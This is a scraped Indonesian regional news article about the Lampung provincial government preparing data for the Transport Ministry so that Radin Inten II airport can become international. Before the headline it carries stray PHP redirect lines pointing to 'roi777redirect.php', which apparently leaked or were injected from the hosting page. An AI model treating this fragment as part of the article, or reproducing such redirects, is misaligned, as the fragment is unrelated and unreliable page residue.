header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Pemprov Ditarget Sepekan, Beber Potensi Bandara -
Pemprov Ditarget Sepekan, Beber Potensi Bandara

TRANSLAMPUNG.COM-Pemprov Lampung mendapat pekerjaan rumah (PR) dari Kementerian Perhubungan (Kemenhub) soal potensi Bandara Radin Inten II Lampung Selatan untuk alih status menjadi internasional.

Asisten I Bidang Pemerintahan dan Kesra Setprov Lampung Heri Suliyanto mengatakan, PR tersebut merupakan hasil rapat koordinasi pemprov dengan Kemenhub di Jakarta.

“Kita diberikan PR untuk melengapi data-data potensi yang ada di Raden Inten II. Dalam segala hal baik itu potensi pariwisatanya, dan beberapa hal lain,” ujarnya ketika dihubungi Radar Lampung, kemarin.

Potensi yang perlu diungkap tersebut, selain sektor pariwisata juga kajian mengenai potensi investasi di Lampung. Kemudian, bagaimana peluang-peluang di sektor industri juga diminta dimasukkan dalam kajian tersebut.

“Artinya, potensi Lampung secara keseluruhan. Termasuk dengan komoditi-komoditi unggulan yang ada di Lampung. Ini juag menjadi sebuah ketertarikan tamu yang datang dari mancanegara,” ujarnya.

Dijelaskan dia, tindaklanjut dari pertemuan tersebut adalah akan memanggil Badan Perencnaan dan Pembangunan Daerah (Bappeda) Provinsi Lampung, guna menyiapkan sajian-sajian data mengenai persoalan potensi yang ada di Lampung.

“Ya harus. Sebab, minggu depan kita berangkat lagi ke Kemenhub, untuk memberikan pemaparan tentang data potensi itu. Senin kita rapatkan dengan Bappeda,” ungkapnya.

Soal lampu landasan pacu dia mengatakan memang anggaran tidak disediakan oleh Kemenhub. Namun, lantaran alih status ini yang mendesak dari pemprov, maka anggaran untuk lampu landasan pacu dibebankan dalam APBD Lampung 2017.

“Rincinya saya lupa. Namun, globalnya angggaran dukungan ke bandara ini sebesar Rp9,5 miliar,” ucapnya.

Soal aset very veri important (VVIP) bandara, dia mengatakan akan dihibahkan ke Kemenhub. Dimana masih melakukan kepengurusan administrasi pelimpahan kewenangan aset. “Masih dalam finalisasi untuk aset VVIP,” ujarnya.

Terpisah, Anggota Komisi IV DPRD Lampung Yose Rizal mengatakan, pemprov harus bertindak cepat dalam menindaklanjuti rekomendasi dari Kemenhub.

Hal ini menurutnya, harus dijadikan peluang eksekutif, sebab Kemenhub sudah membuka jalan mengenai perjalanan alihstatus Bandara Radin Inten ke status internasional.

”Saya kira ini butuh keseriusan. Dan tidaklah sulit membuat kajian potensi-potensi yang ada di Lampung, mulai dari sektor pariwisata kan sudah ada kajiannya. Saya kira pemprov sudah ada data itu,” pungkasnya.(tnn)

News Reporter